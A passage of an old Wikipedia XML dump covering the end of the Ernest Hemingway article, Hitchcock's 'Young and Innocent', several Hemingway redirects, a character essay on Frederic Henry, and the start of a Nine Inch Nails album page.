On [[26 February]] [[1960]], Ernest Hemingway was unable to get his bullfighting narrative [[The Dangerous Summer]] to the publishers. He therefore had his wife Mary summon his friend, Life Magazine bureau head [[Will Lang Jr.]], to leave Paris and come to Spain. Hemingway persuaded Lang to let him print the manuscript, along with a picture layout before it came out in hardcover. Although not a word of it was on paper, Ernest agreed to the proposal. The first part of story appeared in Life Magazine on [[September 5]] [[1960]]. The other installments were printed on the following issues of Life.

Hemingway was upset by the photographs in his ''[[The Dangerous Summer]]'' article. He was receiving treatment in [[Ketchum, Idaho]] for [[high blood pressure]] and [[liver]] problems&amp;mdash;and also [[electroconvulsive therapy]] (ECT) for [[depression]] and his continued paranoia, although this may in fact have helped to precipitate his suicide, since he reportedly suffered significant memory loss as a result of the shock treatments.  He also lost weight and his 6-foot frame appeared gaunt at 170 pounds

==Death==
Hemingway attempted suicide in the spring of 1961, and received [[Electroconvulsive therapy|ECT]] treatment again; but, some three weeks short of his 62nd birthday, he took his own life on the morning of July 2, 1961, with a shotgun blast to the head. Judged not mentally responsible for his action of suicide, he was buried with a Roman Catholic service. Hemingway himself blamed the ECT treatments for &quot;putting him out of business&quot; by destroying his memory;  medical and scholarly opinion has been respectfully attentive to this view. 

Other members of Hemingway's immediate family also committed suicide, including his father, Clarence Hemingway, his siblings Ursula and Leicester, and later his grandaughter [[Margaux Hemingway]]. Some believe that certain members of Hemingway's paternal line had a genetic condition or hereditary disease known as [[Haemochromatosis|haemochromatosis]], in which an excess of iron concentration in the blood causes damage to the pancreas and depression or instability in the cerebrum.  Hemingway's physician father is known to have developed [[Haemochromatosis|bronze diabetes]] owing to this condition in the years prior to his suicide at age fifty-nine. Some think Hemingway suffered from [[bipolar disorder]]. One must allow that there is a surfeit of medical speculation about his final illness and death. 

Ernest Hemingway is interred in the Catholic cemetery in Ketchum.

===Posthumous publications===
Hemingway was still writing new works up to the time of his death in 1961. All of these unfinished works which were Hemingway's sole creation have been published posthumously; they are ''[[Islands in the Stream]],'' ''[[The Dangerous Summer]],'' and ''[[The Garden of Eden]]''.{{ref|ref10}} In a note forwarding &quot;Islands in the Stream&quot; Mary Hemingway indicated that she worked with Charles Scribner, Jr. on &quot;preparing this book for publication from Ernest's original manuscript.&quot;  In that note she stated that &quot;beyond the routine chores of correcting spelling and punctuation, we made some cuts in the manuscript, I feeling that Ernest would surely have made them himself.  The book is all Ernest's. We have added nothing to it.&quot; Controversy has surrounded the publication of these works, insofar as it has been suggested that it is not necessarily within the jurisdiction of Hemingway's relatives or publishers to determine whether these works should be made available to the public. For example, scholars often disapprovingly note that the version of ''The Garden of Eden'' published by [[Charles Scribner's Sons]] in 1986, though in no way a revision of Hemingway's original words, nonetheless does not include some two-thirds of the original manuscript{{ref|ref11}}. In 1999, another novel entitled ''[[True at First Light]]'' appeared under the name of Ernest Hemingway, though it was heavily edited by his son [[Patrick Hemingway]]. 

The [[Associated Press]] reported in February 2005 on the progress of what is purported to be the final work to be posthumously published that was written by Hemingway. Entitled ''[[Under Kilimanjaro]],'' the novel is a fictional account of Hemingway's final African safari in 1953&amp;ndash;1954. He spent several months in Kenya with his fourth wife, Mary, before his near-fatal plane crashes took place{{ref|ref12}}. Anticipation of the novel, whose manuscript was completed in 1956, adumbrates perhaps an unprecedentedly large critical battle over whether it is proper to publish the work (many sources mention that a new, light side of Hemingway will be seen as opposed to his canonical, macho image{{ref|ref13}}), even as editors [[Robert W. Lewis]] of [[University of North Dakota]] and [[Robert E. Fleming]] of [[University of New Mexico]] have pushed it through to publication; the novel was published on [[September 15]] 2005.

Also published after Hemingway's death were several collections of his work as a journalist. These collections contain his columns and articles for Esquire Magazine, The North American Newspaper Alliance, and the Toronto Star; they include ''Byline: Ernest Hemingway'' edited by William White, and ''Hemingway: The Wild Years'' edited by Gene Z. Hanrahan.

==Influence and legacy==
The influence of Hemingway's writings on [[American literature]] was considerable and continues today. Indeed, the influence of Hemingway's style was so widespread that it may be glimpsed in most contemporary fiction, as writers draw inspiration either from Hemingway himself or indirectly through writers who more consciously emulated Hemingway's style. In his own time, Hemingway affected writers within his [[modernist]] literary circle. [[James Joyce]] called &quot;A Clean, Well Lighted Place&quot; &quot;one of the best stories ever written&quot;. [[Pulp fiction]] and &quot;[[hard boiled]]&quot; crime fiction (which flourished from the 1920s to the 1950s) often owed a strong debt to Hemingway.

Hemingway's terse prose style--&quot;Nick stood up. He was all right&quot;-- is known to have inspired [[Bret Easton Ellis]], [[Chuck Palahniuk]], [[Douglas Coupland]] and many [[Generation X]] writers. Hemingway's style also influenced [[Jack Kerouac]] and other [[Beat Generation]] writers. [[J.D. Salinger]] is said to have wanted to be a great American [[short story]] writer in the same vein as Hemingway. [[Hunter S. Thompson]] often compared himself to Hemingway, and terse Hemingway-esque sentences can be found in [[The Rum Diary]].

In [[Latin America]]n literature, Hemingway's impact can perhaps best be seen in the work of [[Gabriel García Márquez]], who, for instance, often uses the sea as a central image in his fiction. 

[[Science fiction]] novelist [[Joe Haldeman]] won the [[Hugo Award]] and the [[Nebula Award]] for his [[novella]], ''The Hemingway Hoax,'' a story which explored the effect that Hemingway's lost stories might have had upon twentieth century history.

The famous heavy-metal band, [[Metallica]] were inspired by 'For Whom The Bell Tolls' and penned the eponymous song that went on to become a major hit.

In 1999, [[Michael Palin]] retraced the footsteps of Hemingway, in ''Michael Palin's Hemingway Adventure'', a television documentary, one hundred years after his birth of his favorite writer. The journey took him through many sites including [[Chicago]], [[Paris]], [[Italy]], [[Africa]], [[Key West]], [[Cuba]], and [[Idaho]]. The  book is available at his [http://www.palinstravels.co.uk/ website].

Since 1987, actor-writer [[Ed Metzger]] has portrayed the life of Ernest Hemingway in one-man stage show ''Hemingway: On The Edge'', featuring stories and anecdotes from Hemingway's own life and adventures.  Metzger quotes Hemingway, &quot;My father told me never kill anything you're not going to eat.  At the age of 9, I shot a porcupine.  It was the toughest lesson I ever had.&quot; More information about the show is available at [http://www.hemingwayplay.com/ website]

At this writing, only one of Hemingway's sons (Patrick) survives.

In [[Harry Turtledove]]'s Alternate History [[Timeline-191]], Hemingway shows up as a character who drove ambulances on the US-Canadian Front in Quebec during the Great War.  The character had part of his reproductive organs shot off in the war, giving him severe depression and suicidal tendencies. 

In [[Dave Sim]]'s graphic novel [[Cerebus]], the story arc ''Form and Void'' features Ham and Mary Ernestway, parodies of Hemingway and his wife Mary.  The last few years of Hemingway's life, including his electroshock therapy, the safari in which he was badly injured, and his suicide, are used as plot points for the story.    

===Awards and honors===
During his lifetime Hemingway was awarded with:
*[[Silver Medal of Military Valor]] (medaglia d'argento) in [[World War I]]
*[[Bronze Star Medal|Bronze Star]] (War Correspondent-Military Irregular in [[World War II]]) in 1947
*[[Pulitzer Prize]] in 1953 (for ''[[The Old Man and the Sea]]'')
*[[Nobel Prize in Literature]] in 1954 (''The Old Man and the Sea'' cited as a reason for the award)

===Trivia===
* Sailors were long-known to especially value [[polydactyl cat]]s (which have extra toes as a genetic trait) for their extraordinary climbing and hunting abilities as an aid in controlling shipboard [[rodents]]. Some sailors also considered them to be extremely [[good luck]] when at sea. Hemingway was one of the more famous lovers of polydactyl cats. He was first given a six-toed cat by a ship's captain. As provided in his will, his former home in [[Key West, Florida]] (which is now a popular museum) currently houses approximately sixty descendents of his cats, approximately 50% of whom are polydactyl. The house and its feline residents make a brief appearance in the 1989 [[James Bond]] film [[Licence to Kill]].

* According to various biographical sources, Hemingway was six feet tall and weighed anywhere between 170 and 260 pounds at varying times in his life.  His build was muscular, though he became paunchy in his middle years.  He had dark brown hair, brown eyes, and habitually wore a moustache (with an occasional beard) from the age of twenty three on.  By age fifty, he consistently wore a graying beard.  He had a scar on his forehead, the result of a drunken accident in Paris in his late 20s (thinking he was flushing a toilet, he accidentally pulled a skylight down on his head).  He suffered from [[myopia]] all his life, but vanity prevented him from being fitted with glasses until he was thirty two (and very rarely was he photographed wearing them). He was fond of tennis, fonder of fishing and hunting, and hated New York City.

==Works==
===Novels/Noveletta===
* (1925) ''[[The Torrents of Spring]]''
* (1926) ''[[The Sun Also Rises]]''
* (1929) ''[[A Farewell to Arms]]''
* (1937) ''[[To Have and Have Not]]''
* (1940) ''[[For Whom the Bell Tolls]]''
* (1950) ''[[Across the River and Into the Trees]]''
* (1952) ''[[The Old Man and the Sea]]''
* (1962) ''[[Adventures of a Young Man]]''
* (1970) ''[[Islands in the Stream (Hemingway)]]''
* (1986) ''[[The Garden of Eden]]''

===Nonfiction===
* (1932) ''[[Death in the Afternoon]]''
* (1935) ''[[Green Hills of Africa]]''
* (1960) ''[[The Dangerous Summer]]''
* (1964) ''[[A Moveable Feast]]''
* (2005) ''[[Under Kilimanjaro]]''

===Short story collections===
* (1923) ''[[Three Stories and Ten Poems]]''
* (1925) ''[[In Our Time (book)|In Our Time]]''
* (1927) ''[[Men Without Women]]''
* (1932) ''[[The Snows of Kilimanjaro]]''
* (1933) ''[[Winner Take Nothing]]''
* (1938) ''[[The Fifth Column and the First Forty-Nine Stories]]''
* (1947) ''[[The Essential Hemingway]]''
* (1953) ''[[The Hemingway Reader]]''
* (1972) ''[[The Nick Adams Stories]]''
* (1976) ''[[The Complete Short Stories of Ernest Hemingway]]''
* (1995) ''[[Collected Stories (Hemingway)|Collected Stories]]''

==Notes==
#{{note|ref1}} From [http://www.lostgeneration.com/childhood.htm Childhood] at ''The Hemingway Resource Center''.
#{{note|ref2}} Three different sources disagree on how long this habit of his mother's lasted. A note from [http://www.pbs.org/hemingwayadventure/michigan.html a PBS lecture series] states that it lasted for two years; [http://www.cigaraficionado.com/Cigar/CA_Profiles/People_Profile/0,2540,15,00.html Grauer] claims she stopped when he was 6; [http://www.harpercollins.com.au/drstephenjuan/0208news.htm Juan's analysis] suggests that her treatment continued &quot;well into his teens;&quot; he also claims that at times she would attempt to liken Hemingway to his older sister [[Marcelline Hemingway|Marcelline]].
#{{note|ref3}} A large list of such anecdotes are compiled at [http://www.kcstar.com/hemingway/ the centennial commemoration page of the ''Kansas City Star''].
#{{note|ref4}} Burgess, 1978, p. 24.
#{{note|ref5}} Ibid.
#{{note|ref6}} On [[August 10]], [[1943]], Hemingway typed '''[[Ernest Hemingway/Typed Letter|a letter to Archibald MacLeish]]''' discussing Pound's mental health and other literary matters.
#{{note|ref7}} In a conversation with [[John Peale Bishop]], quoted in Hemingway, Cowley, ed, 1944, p. xiii.
#{{note|ref8}} Burgess, 1978, p. 57.
#{{note|ref9}} Ibid.
#{{note|ref10}} Information about these posthumous Hemingway works was taken from Charles Scribner, Jr.'s 1987 Preface to ''The Garden of Eden''.
#{{note|ref11}} [http://www.bookrags.com/shortguide-garden_of_eden/ BookRags] makes this quantitative note; it also reveals some more information about the publication of ''The Garden of Eden'' and offers some discussion of thematic content.
#{{note|ref12}} [http://upress.kent.edu/books/Hemingway.htm The Kent State University Press] is the official source for this new novel's release.
#{{note|ref13}} See the [http://www.und.edu/dept/our/dimensions/march2005/2.html University of North Dakota] feature of editor Robert W. Lewis, for example.

==External links==
{{wikiquote}}
* [http://www.timelesshemingway.com Timeless Hemingway]
* [http://www.davidgagne.net/hem The Hemingway Blog]
* [http://www.onetruesentence.com One True Sentence: A Blog Devoted to EH]
* [http://www.pbs.org/hemingwayadventure Michael Palin's Hemingway Adventure] Based on a PBS lecture series narrated by Michael Palin.
*[http://www.hemingwaysociety.org The Hemingway Society]
*[http://www.cnn.com/SPECIALS/books/1999/hemingway/index.html CNN: A Hemingway Retrospective]
*[http://www.einstein-hemingway-shows.com &quot;Hemingway:On The Edge,&quot; A One Man Show]
* [http://www.retortmagazine.com/05/id_09_05_dan_schneider.htm Review of The Complete Short Stories of Ernest Hemingway]
* [http://www.litencyc.com/php/sworks.php?rec=true&amp;UID=7857 Review of The Sun Also Rises]
* [http://www.sparknotes.com/lit/oldman/ SparkNotes of The Old Man And The Sea]
* [http://www.hemingwayhome.com/ Ernest Hemingway Home and Museum in Key West, Florida, official website]
* [http://www.briangordonsinclair.com/hemingway.htm ''Hemingway on Stage'']

[[Category:1899 births|Hemingway, Ernest]]
[[Category:1960 deaths|Hemingway, Ernest]]
[[Category:Ernest Hemingway|*]]
[[Category:Writers|Suicide, Writers who committed]]
[[Category:Writers who committed suicide|Hemingway, Ernest]]

[[ar:إرنست همنغواي]]

Ernest Hemingway: Going The Other Way From Home. An online serial by Steve Newman [[http://www.humdrumming.co.uk/]]

Hemingway Goes To War, by Charles Whiting [[http://www.humdrumming.co.uk/]]

[[bg:Ърнест Хемингуей]]

[[ca:Ernest Miller Hemingway]]
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[[fa:ارنست همینگوی]]
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[[ko:어니스트 헤밍웨이]]
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[[no:Ernest Hemingway]]
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[[ru:Хемингуэй, Эрнест Миллер]]
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[[zh:欧内斯特·海明威]]</text>
    </revision>
  </page>
  <page>
    <title>Young and Innocent</title>
    <id>9429</id>
    <revision>
      <id>40210169</id>
      <timestamp>2006-02-18T23:54:56Z</timestamp>
      <contributor>
        <username>Cammoore</username>
        <id>119859</id>
      </contributor>
      <text xml:space="preserve">{{Infobox Film |
  name     = Young and Innocent |
  image          = Hitchcock young and innocent.jpg |
  imdb_id        = 0029811 |
  writer         = [[Josephine Tey]] ((novel A Shilling For Candles))&lt;br&gt;[[Charles Bennett]]&lt;br&gt;[[Edwin Greenwood]]&lt;br&gt;[[Anthony Armstrong]]&lt;br&gt;[[Gerald Savory]] (dialog)&lt;br&gt;[[Alma Reville]] (uncredited)|
   starring       = [[Nova Pilbeam]]&lt;br&gt;[[Derrick De Marney]]&lt;br&gt;[[Percy Marmont]] |
  director       = [[Alfred Hitchcock]] |
  producer       = Edward Black |
  distributor    = General Film Distributors (GFD) Ltd.  |
  released   = [[November]], [[1937]] U.K. release|
  runtime        = 80 mins |
  language = English |
  music          = |
  cinematography        = [[Bernard Knowles]]   |
  budget         =  |
}}
'''''Young and Innocent''''' (U.S. title: '''''The Girl Was Young''''') is a British film ([[1937]]) directed by [[Alfred Hitchcock]] starring [[Nova Pilbeam]], [[Derrick De Marney]] and [[John Longden]]. It is very loosely based on [[Josephine Tey]]'s novel ''A Shilling for Candles'' ([[1936]]).

{{spoiler}}

[[Image:NovaPilbeam.JPG|thumb|left|Pilbeam as Erica Burgoyne]]
There were significant changes made in adapting the book for the film. The team of screenwriters took the main suspect of the novel, Robert Tisdall, and his unexpected, initially reluctant supporter, Erica Burgoyne, and left out all the other characters, including Tey's Inspector Alan Grant and even the murderer. In other words, the episode focusing on Tisdall as a fugitive from justice was elaborated and blown up into a full-length film, whereas the subplots and distractions of Tey's novel -- which make it a [[whodunit]] -- were omitted.

==Plot summary==

Christine Clay, an actress who owes her career to her husband, is severely criticized by him for playing around with other men. He makes particular reference to Robert Tisdall, a young man staying with (or at least near) them at their country retreat somewhere on the English coast. One night, Christine smacks her husband's face. He keeps himself calm except for his eyes, which twitch uncontrollably, then proceeds to strangle her with the belt from a trenchcoat he has stolen. For some reason, he is never suspected by the police.

Just when Christine Clay's body is washed ashore, Robert Tisdall happens to be walking along the cliffs. A belt is found next to the body. He runs away to get help or call the police and is seen doing so by two young female swimmers. He is arrested and becomes the main suspect, also because the actress has left him a large sum in her will. After talking to a hopelessly inadequate [[solicitor]], Tisdall doubts if his innocence will ever be established. In the corridor of the courthouse, while there are many people waiting for and attending different trials, he can make his escape. Soon he is joined by Erica Burgoyne, who gives him a lift in her dilapidated Morris. The two get more and more involved with each other -- not romantically at first -- so that the police think she is his accomplice. All Tisdall wants, however, is prove his innocence by getting hold of the coat (plus belt) that was stolen from him.
[[Image:Blackface_murderer.JPG|left|thumb|Blackface murderer]]
During their flight, they briefly stop at Erica's aunt, whose seven year-old daughter Felicity is having a birthday party (playing, among other games, Blind Man's Buff). Finally, in a lodging house frequented by tramps, Tisdall encounters the man he has been looking for: Old Will, a sociable china-mender wearing Tisdall's coat, sans belt, which he readily gives back to him. Furthermore, he agrees to help him and Erica Burgoyne find the murderer and clear Tisdall of all suspicion.

In the pocket of the coat they find a box of matches from the Grand Hotel, which eventually leads them to the real murderer of Christine Clay -- her own husband, the man with the twitching eyes. Since that nervous tic is the only thing Old Will can remember about the man who gave him the coat, they go to the hotel to find him, where he is employed as the drummer in a jazz band which performs in [[blackface]] . Recognizing Old Will in the audience, and observing nearby law enforcement, the husband has a [[nervous breakdown]] mid-set and passes out. He confesses his crime immediately after being revived. In the end, Robert Tisdall and Erica Burgoyne are united, with Erica's father smiling benevolently.

==External links==
* {{imdb title|id=0029811|title=Young and Innocent}}

{{Alfred Hitchcock's films}}

[[Category:1937 films]]
[[Category:British films]]
[[Category:Films based on fiction books]]
[[Category:Films directed by Alfred Hitchcock]]
[[Category:Public domain films]]

[[de:Jung und unschuldig]]
[[fr:Jeune et innocent]]</text>
    </revision>
  </page>
  <page>
    <title>Things Turn Sour</title>
    <id>9430</id>
    <revision>
      <id>15907322</id>
      <timestamp>2003-01-20T16:53:56Z</timestamp>
      <contributor>
        <username>Ap</username>
        <id>122</id>
      </contributor>
      <comment>folding page back into [[Ernest Hemingway]] article</comment>
      <text xml:space="preserve">#REDIRECT [[Ernest Hemingway]]</text>
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  </page>
  <page>
    <title>The Endless Dark Nothingness</title>
    <id>9431</id>
    <revision>
      <id>15907323</id>
      <timestamp>2003-01-20T16:56:00Z</timestamp>
      <contributor>
        <username>Ap</username>
        <id>122</id>
      </contributor>
      <comment>folding page back into [[Ernest Hemingway]] article</comment>
      <text xml:space="preserve">#REDIRECT [[Ernest Hemingway]]</text>
    </revision>
  </page>
  <page>
    <title>The Time in Between</title>
    <id>9432</id>
    <revision>
      <id>15907324</id>
      <timestamp>2003-01-20T16:43:27Z</timestamp>
      <contributor>
        <username>Ap</username>
        <id>122</id>
      </contributor>
      <comment>folding article back into [[Ernest Hemingway]] article</comment>
      <text xml:space="preserve">#REDIRECT [[Ernest Hemingway]]</text>
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  </page>
  <page>
    <title>Spain in Flames</title>
    <id>9433</id>
    <revision>
      <id>15907325</id>
      <timestamp>2004-10-10T00:26:08Z</timestamp>
      <contributor>
        <username>SimonP</username>
        <id>1591</id>
      </contributor>
      <text xml:space="preserve">'''''Spain in Flames''''' was a [[propaganda film]] made during the [[Spanish Civil War]] in favour of the Loyalists ([[communism|Communist]]s, [[socialism|socialist]]s and [[libertarian socialism|anarchist]]s). Supporting the Loyalists further, [[Ernest Hemingway]] and [[John Dos Passos]] went to [[Spain]] and founded the Contemporary Historians, Inc. which produced another film called ''[[The Spanish Earth]]'' (directed by [[Joris Ivens]]).

[[Category:Propaganda films]]</text>
    </revision>
  </page>
  <page>
    <title>Ernest Hemingway/For Whom the Bell Tolls</title>
    <id>9434</id>
    <revision>
      <id>15907326</id>
      <timestamp>2002-12-14T07:16:39Z</timestamp>
      <contributor>
        <username>TUF-KAT</username>
        <id>8351</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#redirect [[For Whom the Bell Tolls]]</text>
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  </page>
  <page>
    <title>Frederic Henry</title>
    <id>9435</id>
    <revision>
      <id>24706295</id>
      <timestamp>2005-10-04T04:58:36Z</timestamp>
      <contributor>
        <ip>69.236.213.1</ip>
      </contributor>
      <text xml:space="preserve">{{cleanup-date|October 2005}}

'''Frederic Henry''' is a character in the novel ''[[A Farewell to Arms]]'', by [[Ernest Hemingway]].

Author [[Milan Kundera]] once wrote his characters were not of woman born, but of an idea, of a decision he faced and didn't exploit the possibilities, circumvented a border instead of crossing it. Beyond the border, in fact, beyond the border of his own &quot;I&quot;, started the realm in which his characters exist. They were familiar to him, but he could never reach them. I think the same holds true for Hemingway and his characters. Frederic Henry and [[Robert Jordan (character)|Robert Jordan]] are perfect examples of &quot;bordercrossers&quot;. Lt. Henry didn't want the medal of honor because he knew he didn't deserve it and deserted when realizing the true nature of war, Lt. Hemingway didn't take such drastic steps though he too had realized how pointless the war was. Robert Jordan took an active part in the [[Spanish Civil War]] and was willing to die for the country he loved, Ernest Hemingway was a non-combatant all the time.

== Background ==

Mr. Hemingway doesn't provide his readers with much information about the family background and the past of Frederic Henry, one simply gets to know that he had quarrels with his relatives and therefore doesn't maintain contact any more. Three family members are briefly mentioned, his mother, sister and grandfather. When asked about his father he states he had none, just a step-father. Maybe Hemingway was still battered by his own father's suicide and therefore removed all information on Frederic's father. Henry came to Italy to study architecture in Rome and, speaking Italian, joined the army for no real reason (&quot;I was a fool&quot;(A Farewell (1.), p. 227)), except for his eagerness for adventure (&quot;In the old days I would have [...] picked a fight&quot;(A Farewell (1.), p. 217)). The sight drafts he receives from his grandfather are the only link to his home, he doesn't pay much attention to his grandfather's letters, the only one mentioned in the whole book is handled in two short lines among many others.

== Character ==

Henry tries to keep from thinking throughout the entire book, maybe he, too, fears getting &quot;gloomy&quot;(For Whom (5.), p. 18), he did not want to get emotionally involved in anything, neither in a love affair nor in the war. He was, in a way, convinced of the need for victory, but stated &quot;It [the war] had nothing to do with me&quot;(A Farewell (1.), p. 34). Talking about military maneuvers, he always referred to the Italian army as &quot;them&quot;, thus stressing he doesn't see himself as part of the army as an ideological and patriotic institution. He doesn't report much about violence and death, if it happened, he mentioned it briefly, superficially, always refusing to have any feelings about it, always trying to get away from it. Even when he shot one of the Sergeants, he described it as if he was hunting (&quot;I shot three times and dropped one&quot;(A Farewell (1.), p. 182)), trying not to realize he shot a sentient being.

His attitude towards [[religion]] is a bit strange, though. On the one hand, he often said something around the lines &quot;I had no religion&quot;(A Farewell (1.), p. 289), but on the other hand he prayed not only for Catherine's life but also for his own (&quot;Oh, God, I said, get me out of here.&quot;(A Farewell (1.), p. 51)). As a matter of fact, Hemingway was a convert under fire and the line &quot;It is in defeat we become Christian&quot;(A Farewell (1.), p. 160) clearly refers to that. The later statements about having no religion can be explained best by Henry's own words &quot;He [the priest] had always known what I did not know and what, when I learned it, was always able to forget.&quot;(A Farewell (1.), p. 13).

Of course, this does not only refer to his religiosity, but also to his opinions about the war. To improve the process of forgetting that enables him to ignore all the violence, he drinks a great lot of alcohol throughout the whole novel (&quot;I'm very brave when I've had a drink&quot;(A Farewell (1.), p. 126)).

== Development ==

The wall of emotional numbness Frederic Henry had set up before the novel started, crumbled when he first met Catherine, he felt he couldn't ignore all the sorrow and pain any longer, and began to separate from the rude society at the mess. This progress started when he proposed Catherine &quot;Let's drop the war&quot;(A Farewell (1.), p. 24) and was completed with the discovery &quot;Then I realized it was over for me&quot;(A Farewell (1.), p. 219), he &quot;had made a separate peace&quot;(A Farewell (1.), p. 217). His discovery had a multitude of reasons. First of all, as an ambulance driver, he had seen quite an amount of bloodshed when he carried off the wounded and dead. He could feel the inhumanity even more intense after his own wounding, when the man in the stretcher above him had a hemorrhage and the blood of the dying soldier slowly dripped on his shirt and nobody did anything about it. Prior to his wounding, he discussed with the ambulance drivers he was commanding. Since they agreed with their colleagues later in the novel, who &quot;don't believe in the war anyway&quot;(A Farewell (1.), p. 194), his sacrifice is rendered in vain, he almost died for nothing. It is worth noting that those eight ambulance drivers are the only soldiers to be described in the novel, therefore they act as representatives of the lower levels of the army hierarchy. Thus both Frederic Henry and the reader get the impression that the war is just wanted by the leaders, who don't care about human life (&quot;&quot;How are all the wounded evacuated?&quot; &quot;They are not. [...]&quot; &quot;What will I take in the cars?&quot; &quot;Hospital equipment.&quot;&quot;(A Farewell (1.), p. 168)) and the ambitious, like Ettore (&quot;He's the boy they're running the war for&quot;(A Farewell (1.), p. 109)). Furthermore, Frederic's talks with the priest in chapters 11 and 26 made him reach a certain state of awareness that left him more vulnerable to the cruelty surrounding him. He seemed to be most affected by the fate of Rinaldi. His prophecy &quot;This war is killing me&quot;(A Farewell (1.), p. 150) makes him commit &quot;self-destruction day by day&quot;(A Farewell (1.), p. 155).  With all these influences, the war's ongoing inhumanity, and the beckoning love of Cathrine, Henry decides to leave it all behind.  He condemns the war instead of continuing to support by being an officer.

== Catherine: A vehicle for the women in Hemingway's life ==

More than most of his other figures, Catherine Barkley is not a character by herself, but much more a vehicle for all kinds of experiences Hemingway made in his life so far. First of all, as she enters the novel, she clearly is the counterpart of the already mentioned Hannah Agnes von Kurowsky, later, when Helen Ferguson is with her and especially when Ferguson complained about Henry, Catherine can be viewed upon as an image of Hadley Richardson. In the end, the labor pains and the Cesarean section are a clear reference to Pauline Pfeiffer.

But it is not all that easy. Catherine often says about herself that &quot;There isn't any me any more&quot;(A Farewell (1.), p. 96). Only when she is &quot;self-conscious&quot;(A Farewell (1.), p. 125), she is one of those women. When she is with Frederic, she adopts his ideas and vice versa. They form a unit that serves as an item of reflection for Hemingway's theories about life and death, which are always developed in the discussion of the lovers. She knows the poems he quotes and the books he is talking about, they have got so much in common that it's hard to tell them apart. The following dialogue may illustrate this(A Farewell (1.), pp. 125 through 126):
: &quot;They [the brave] die of course.&quot;
: &quot;But only once.&quot;
: &quot;I don't know. Who said that?&quot;
: &quot;The coward dies a thousand deaths, the brave but one?&quot;
: &quot;Of course. Who said it?&quot;
: &quot;I don't know.&quot;
: &quot;He was probably a coward,&quot; she said. &quot;He knew a great deal about cowards but nothing about the brave. The brave dies perhaps two thousand deaths if he's intelligent. He simply doesn't mention them.&quot;
: &quot;I don't know. It's hard to see inside the head of the brave.&quot;
: &quot;Yes. That's how they keep that way.&quot;

Without any former explanation, they always know what the other one is talking about. They develop, without disagreeing or arguing, a philosophy that represents Hemingway's code of courage, called &quot;grace under pressure&quot;.

[[Category:Characters in written fiction|Henry, Frederic]]</text>
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  <page>
    <title>Ernest Hemingway/Robert Jordan</title>
    <id>9436</id>
    <revision>
      <id>15907328</id>
      <timestamp>2003-03-15T00:15:41Z</timestamp>
      <contributor>
        <username>Islandboy99</username>
        <id>6710</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#redirect [[Robert Jordan (character)]]</text>
    </revision>
  </page>
  <page>
    <title>Famous at Twenty-Five Thirty a Master</title>
    <id>9437</id>
    <revision>
      <id>15907329</id>
      <timestamp>2003-01-20T16:32:23Z</timestamp>
      <contributor>
        <username>Ap</username>
        <id>122</id>
      </contributor>
      <comment>redirecting to [[Ernest Hemingway]]</comment>
      <text xml:space="preserve">#REDIRECT [[Ernest Hemingway]]</text>
    </revision>
  </page>
  <page>
    <title>From Boy to Man Hemingways First World War</title>
    <id>9438</id>
    <revision>
      <id>15907330</id>
      <timestamp>2003-01-20T16:37:01Z</timestamp>
      <contributor>
        <username>Ap</username>
        <id>122</id>
      </contributor>
      <comment>folding content back into [[Ernest Hemingway]] article</comment>
      <text xml:space="preserve">#REDIRECT [[Ernest Hemingway]]</text>
    </revision>
  </page>
  <page>
    <title>From Reality to Fiction A Farewell to Arms</title>
    <id>9439</id>
    <revision>
      <id>15907331</id>
      <timestamp>2003-01-20T16:40:20Z</timestamp>
      <contributor>
        <username>Ap</username>
        <id>122</id>
      </contributor>
      <comment>folding subpage back into [[Ernest Hemingway]] article</comment>
      <text xml:space="preserve">#REDIRECT [[Ernest Hemingway]]</text>
    </revision>
  </page>
  <page>
    <title>Sure Shots The Second World War</title>
    <id>9440</id>
    <revision>
      <id>15907332</id>
      <timestamp>2003-01-20T16:57:43Z</timestamp>
      <contributor>
        <username>Ap</username>
        <id>122</id>
      </contributor>
      <comment>folding page back into [[Ernest Hemingway]] article</comment>
      <text xml:space="preserve">#REDIRECT [[Ernest Hemingway]]</text>
    </revision>
  </page>
  <page>
    <title>The Downward Spiral</title>
    <id>9441</id>
    <revision>
      <id>41244795</id>
      <timestamp>2006-02-26T00:59:20Z</timestamp>
      <contributor>
        <username>VinTheMetalhed</username>
        <id>635199</id>
      </contributor>
      <comment>/* Album */</comment>
      <text xml:space="preserve">{{Album infobox 2|
  Name        = The Downward Spiral |
  Type        = [[LP (format)|LP]] |
  Artist      = [[Nine Inch Nails]] |
  Cover       = The_downward_spiral.jpg |
  Background  = Orange |
  Released    = [[March 8]], [[1994]] |
  Recorded    = [[1993]]-[[1994]] Le Pig, [[Beverly Hills, California|Beverly Hills]]; The Record Plant &amp; A&amp;M Studios, [[Los Angeles, California|Los Angeles]] |
  Genre       = [[Industrial rock]] |
  Length      = 65:02 (original)&lt;br&gt;70:38 (bonus) |
  Label       = [[Nothing Records]] |
  Producer    = [[Trent Reznor]], [[Mark Ellis (record producer)|Flood]] |
  Reviews     = &lt;ul&gt;&lt;li&gt;''[[All Music Guide|Allmusic.com]]'' [[Image:4 out of 5.png]] [http://www.allmusic.com/cg/amg.dll?p=amg&amp;sql=10:71aqoaeayijz link]&lt;/li&gt;&lt;/ul&gt;|
Last album  = ''[[Fixed (album)|Fixed]]'' &lt;br /&gt; (1992) |
Last cover  = Fixed.jpg |
This album  = ''The Downward Spiral'' &lt;br /&gt; (1994) |
Next album  = ''[[Further Down the Spiral]]'' &lt;br /&gt; (1995) |
Next cover  = Further down the spiral.jpg |
 |}}

'''''The Downward Spiral''''' (also known as ''Halo 8'') is an [[LP (format)|LP]] by [[Nine Inch Nails]] released in [[1994 in music|1994]].  ''The Downward Spiral'' is the eighth official Nine Inch Nails release and the band's third major release.  It was preceded by ''[[Broken]]'' and is followed by ''[[The Fragile]]''.   

Some critics have stated that this album demonstrates Reznor's underlying [[pop music]] sensibility, and credit his ability to blend it with typically taboo themes (as seen in the catchy &quot;Closer&quot;). Other critics have cited a &quot;calculated [[nihilism]]&quot; as the album's main weakness.  Reznor has publicly stated that he has suffered from depression, and has been reported as suffering from [[bipolar disorder]].

''The Downward Spiral'' propelled NIN into much greater prominence, especially after the release of the popular second single, &quot;[[Closer to God|Closer]]&quot;, which was released with a controversial video directed by [[Mark Romanek]].

''The Downward Spiral'' was recorded at Le Pig in [[Beverly Hills, California|Beverly Hills]], [[California]], a studio space located in the house where [[Sharon Tate]] was murdered by members of the [[Manson Family]]. [[Trent Reznor|Reznor]] has made conflicting statements regarding whether he knew of the house's history before choosing to record there.

''The Downward Spiral'' served as base for a [[remix]] album entitled ''[[Further Down the Spiral]]''.

